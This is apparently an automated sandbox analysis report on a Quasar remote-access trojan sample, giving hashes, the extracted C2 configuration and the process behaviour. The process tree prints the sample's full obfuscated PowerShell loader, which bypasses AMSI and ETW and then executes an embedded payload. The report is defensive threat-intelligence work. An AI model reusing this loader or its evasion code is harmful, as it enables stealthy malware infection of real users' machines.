quasar | 4a664bab85afe1b3d5013278ba99280506c1eb42bac4e7b23bcc932eda627c8b

General

Target

Client-built.exe.bat
Size

4.2MB
MD5

e8f9b123f6368338546d660e983af6b0
SHA1

d622ddcfbba5060244816540768925563a7c66c3
SHA256

4a664bab85afe1b3d5013278ba99280506c1eb42bac4e7b23bcc932eda627c8b
SHA512

6ad576a2dd1e73b2eb18c240bd4ac824850e431d800fc2d8c520f6a2b1ea8d50d01c008bcab5cb1cc5189f120fd331870fa25925a2994a8c1e84e265492e9f5c
SSDEEP

49152:eDzoesdQ9TpsKmiB/J73/gnGKmTi5wU50WU:Q

Score

10^/10

quasar fr execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

fr

C2

kdotisbetterfr.airdns.org:61875

Mutex

de3f242e-9b27-4bcc-b108-2b89973fa679

Attributes

encryption_key
A9E1D2CBD6699561DDC6C38CE5B7E79D283DC83E
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/848-31-0x000001AB6EE70000-0x000001AB6F194000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 848 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

848 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

848 powershell.exe
848 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 848 powershell.exe

flow	pid	process
2	848	powershell.exe

pid	process
848	powershell.exe

pid	process
848	powershell.exe
848	powershell.exe

description	pid	process
Token: SeDebugPrivilege	848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.execsc.exe

description	pid	process	target process
PID 2000 wrote to memory of 848	2000	cmd.exe	powershell.exe
PID 2000 wrote to memory of 848	2000	cmd.exe	powershell.exe
PID 848 wrote to memory of 2844	848	powershell.exe	csc.exe
PID 848 wrote to memory of 2844	848	powershell.exe	csc.exe
PID 2844 wrote to memory of 3376	2844	csc.exe	cvtres.exe
PID 2844 wrote to memory of 3376	2844	csc.exe	cvtres.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.exe.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -C "$kdot_file='C:\Users\Admin\AppData\Local\Temp\Client-built.exe.bat';if (.([char](((-18989 -Band 4925) + (-18989 -Bor 4925) + 5167 + 8981))+[char]((15592 - 5449 - 5372 - 4670))+[char]((7757 - 4149 - 3692 + 199))+[char]((6189 - 5510 - 4827 + 4264))+[char](((-712 -Band 8324) + (-712 -Bor 8324) - 9313 + 1746))+[char](((-4636 -Band 8829) + (-4636 -Bor 8829) - 9840 + 5727))+[char]((21086 - 6295 - 9972 - 4722))+[char]((13029 - 9372 + 5383 - 8924))+[char](((2214 -Band 3002) + (2214 -Bor 3002) + 14 - 5126))) ([SySTEM.Text.eNcODiNg]::UTf8.geTStRiNg([syStem.cOnVERt]::FROmBaSe64STRINg('JEVOVjp1c2VycHJvZmlsZVxE')) + [SySteM.teXt.encOding]::UTF8.geTStriNg((0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x5c, 0x52, 0x65, 0x73, 0x75, 0x6d, 0x65)) + [syStem.tEXT.encODing]::uTF8.gEtstRing((0x47, 0x72, 0x61, 0x6e, 0x74, 0x2e, 0x73, 0x79, 0x73)))) { exit };${kdOtLCJrxpwvng}=([systEM.tExt.eNcoDinG]::utf8.GeTSTrINg((83, 121, 115, 116, 101, 109, 46, 77, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46)) + [SySTEm.TeXt.ENCOding]::UTF8.geTsTRIng([SysTem.conVeRt]::fROmbaSe64StRINg('QXV0b21hdGlvbi5BbXNpVXRpbHM=')));${k`DotvllZJgLtgx}=([SystEM.tEXt.ENcODInG]::uTF8.GETstrInG([sYStEm.COnVeRT]::FrOmbaSe64strIng('YW1zaUluaXRGYWlsZWQ=')));${KdOteJyma`PyhoD}=[REF].AssEmblY;${kdOtap`Yr`KnuXkZ}=${kdOt`EJYMapYHOD}.geTtype(${k`Dotl`CjrxpwvnG});$kdoTgnaGLeanqB=${kdoTaPyrkn`UXKz}.geTfIELD(${KdotvL`Lz`JgLtgx},([SysTeM.tExt.EnCODING]::uTF8.geTStrinG((0x4e, 0x6f, 0x6e, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2c, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63))));$KdOtgNaGLeanQb.sEtvaLUE($nULl,([BOol][chaR]));([REflEcTion.ASsemBlY]::LOaDwIthpARtIALnaME(((([sySTEM.text.eNcOdiNg]::utF8.GETStRing((0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x43, 0x6f, 0x72, 0x65)))))).GeTTYPe(((([SyStEm.TeXT.ENcOdING]::utF8.geTSTRInG((83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105)) + [syStem.TExT.EncoDing]::utF8.gEtSTRing((99, 115, 46, 69, 118, 101, 110, 116, 105, 110, 103, 46, 69, 118, 101, 110, 116, 80, 114, 111)) + [SysTEm.tEXT.ENCOdinG]::UTF8.GETstring((0x76, 0x69, 0x64, 0x65, 0x72)))))).GETfIeLD(((([sYsTeM.TeXt.ENcOdiNg]::Utf8.GeTstRiNG((109, 95)) + [sySteM.texT.enCODInG]::UTF8.GEtSTring((0x65, 0x6e, 0x61, 0x62)) + [sYsTem.TeXt.eNCOdIng]::UTf8.geTSTRING((108, 101, 100))))),((([system.TeXt.EncOdInG]::utF8.gEtSTRinG((78, 111, 110, 80, 117, 98, 108, 105, 99, 44, 73, 110, 115, 116, 97, 110, 99, 101)))))).SetVaLuE([Ref].ASsEmbly.getType(((([systEm.Text.ENcODIng]::uTF8.GeTStriNG((83, 121, 115, 116, 101, 109, 46, 77, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 65, 117, 116, 111, 109, 97, 116, 105, 111, 110, 46, 84, 114, 97, 99, 105)) + [SYSteM.TEXT.ENCodIng]::Utf8.GEtSTrinG((0x6e, 0x67, 0x2e, 0x50, 0x53, 0x45, 0x74, 0x77, 0x4c, 0x6f, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72)))))).GetfielD(((([SySTEM.teXT.eNcODiNG]::utf8.gETStRing((0x65, 0x74, 0x77, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72))))),((([SysTeM.TEXt.ENCoDInG]::utf8.gEtsTRinG((0x4e, 0x6f, 0x6e, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2c, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63)))))).GetVAluE($nULl),0));.([char]((-257 - 1031 + 9766 - 8373))+[char]((1823 - 9768 + 8223 - 177))+[char](((-19562 -Band 889) + (-19562 -Bor 889) + 9885 + 8908))) ([tEXT.encodIng]::UTF8.gEtSTrING([CoNvErt]::FroMBAse64StriNg((.([char]((11498 - 2401 - 178 - 8848))+[char]((-11105 - 5194 + 7505 + 8895))+[char]((222 - 4618 + 153 + 4359))+[char]((-2637 - 1093 + 9286 - 5511))+[char](((-4650 -Band 9781) + (-4650 -Bor 9781) - 1475 - 3589))+[char]((3131 - 3111 + 154 - 63))+[char]((18786 - 6317 - 8092 - 4267))+[char](((-2844 -Band 5727) + (-2844 -Bor 5727) - 703 - 2064))+[char]((7821 - 9012 - 6084 + 7376))+[char]((4558 - 872 + 4205 - 7781))+[char](((15508 -Band 482) + (15508 -Bor 482) - 7709 - 8165))) $KDot_file -raw | .([char]((11950 - 980 - 4943 - 5944))+[char](((-8135 -Band 6460) + (-8135 -Bor 6460) - 479 + 2255))+[char](((-13228 -Band 3952) + (-13228 -Bor 3952) + 547 + 8837))+[char](((-19627 -Band 1554) + (-19627 -Bor 1554) + 9787 + 8387))+[char](((-21855 -Band 6576) + (-21855 -Bor 6576) + 9605 + 5773))+[char](((10719 -Band 1622) + (10719 -Bor 1622) - 4422 - 7803))+[char](((15556 -Band 721) + (15556 -Bor 721) - 9597 - 6635))+[char](((4849 -Band 877) + (4849 -Bor 877) - 2305 - 3338))+[char](((-13113 -Band 8015) + (-13113 -Bor 8015) + 3741 + 1473))+[char]((-17 - 8310 + 8801 - 360))+[char](((-8482 -Band 1532) + (-8482 -Bor 1532) + 8379 - 1324))+[char]((-1608 - 2948 - 4299 + 8965))+[char](((-7699 -Band 8648) + (-7699 -Bor 8648) + 538 - 1384))) (([SySTem.teXt.eNcOdiNg]::UTf8.GEtsTrinG(58)) + ([SyStem.TExT.ENcodinG]::utf8.gETstRINg([sYstem.cOnVert]::FRoMbaSe64strIng('OktET1Q6OiguKik='))))).MAtcHeS.GrouPS[1].vaLuE)))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q3us4qif\q3us4qif.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA7D9.tmp" "c:\Users\Admin\AppData\Local\Temp\q3us4qif\CSCE9C3783432E643E58CDDF29BD1A8AEA2.TMP"
      4⤵
      PID:3376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESA7D9.tmp

Filesize
1KB

MD5
469e686e9df2e52f7e82ab53ab97fde7

SHA1
0ee7ecd82e1ffbd9a168816e99e944979dd8c945

SHA256
f1dd5c5fccfdde2df6a3115e515de95e442f5cb62b42f43fb9e64c17a65e1bbf

SHA512
df3bbb500722d506989302c091a8f5ea3c3e3dc5be4c53668a097ac6da92c4549a25b3199bfe529d828d649d5ba5bf3c7e705f3daa00beaee43093bfb5107c8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qqixz41f.ezx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\q3us4qif\q3us4qif.dll

Filesize
8KB

MD5
d455ea2a78e7c692c0576dc34e16d89a

SHA1
9cd913ecc8f7722806f0a4b976c6ad643540c67b

SHA256
696c26115d19f1626d6aa464e1a5291074350eb8794ea5876125aa91e86e26fe

SHA512
e70066ca369f69522bf3751ec20a2ff3c2a1034610a633fb21c0189ec2c393d4a57c515ef5aa65e848d29066f4e44ee14a215b17c644994cd6c46ca8fd51137a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\q3us4qif\CSCE9C3783432E643E58CDDF29BD1A8AEA2.TMP

Filesize
652B

MD5
01f9d97b36be611ffb3696a03f02d757

SHA1
69c658f06bfb9c56199bb5cfad473fb4c4023a35

SHA256
d33155bbbcb522bb48e26b46ccbeea4c364dfdb23102241310819ddeb5bfbf91

SHA512
33023556438cdec776c3678c2497d239fe1545530adfbe0a70bee40ff066da99c2ca08fb094b6dd2ab3296b4c2abf8d68942b74644f243e0e01327d532a7f362

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\q3us4qif\q3us4qif.0.cs

Filesize
11KB

MD5
2baccf8bd40aaee5659a70165d301596

SHA1
52f6af554b3df57db81005dd6360f4bc39b93531

SHA256
6c6ca5f865d9346cd32d84e0122d1bf08051d8b53c47208cef44bd2bb6133884

SHA512
dfbe57879f918c029dc628cc27961d63eca88104e8e7fb3aba8c2d1696419d5010c2dfc7e690669835fa50a0344f1ec5f60f714db95112b18c8524e87d1bb51a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\q3us4qif\q3us4qif.cmdline

Filesize
369B

MD5
70a5ad09404150b264f9c75d93bc0397

SHA1
41c749907a384353f81d7ddfdf07469ece2040d2

SHA256
0b0a627a2d59f32e71e2cbe7a88238db89a5f2dc244fed1ef59adfb06e439eb5

SHA512
6dd0801dd732db67c180a22bf19831dff3251484a4fa993db7c77a15e842d06218a8fd3c5989d5c535ef30238c84b3f7ebbabd91f3fdd01f8e75c7a96ab5a3c5

Download Submit
memory/848-12-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-28-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-11-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-10-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-6-0x000001AB6E9F0000-0x000001AB6EA12000-memory.dmp

Filesize
136KB

Download
memory/848-25-0x000001AB6EC00000-0x000001AB6EC08000-memory.dmp

Filesize
32KB

Download
memory/848-27-0x00007FF93C013000-0x00007FF93C015000-memory.dmp

Filesize
8KB

Download
memory/848-0-0x00007FF93C013000-0x00007FF93C015000-memory.dmp

Filesize
8KB

Download
memory/848-29-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-30-0x00007FF93C010000-0x00007FF93CAD2000-memory.dmp

Filesize
10.8MB

Download
memory/848-31-0x000001AB6EE70000-0x000001AB6F194000-memory.dmp

Filesize
3.1MB

Download
memory/848-32-0x000001AB6F770000-0x000001AB6F7C0000-memory.dmp

Filesize
320KB

Download
memory/848-33-0x000001AB6F880000-0x000001AB6F932000-memory.dmp

Filesize
712KB

Download
memory/848-34-0x000001AB6FB10000-0x000001AB6FCD2000-memory.dmp

Filesize
1.8MB

Download

Analysis

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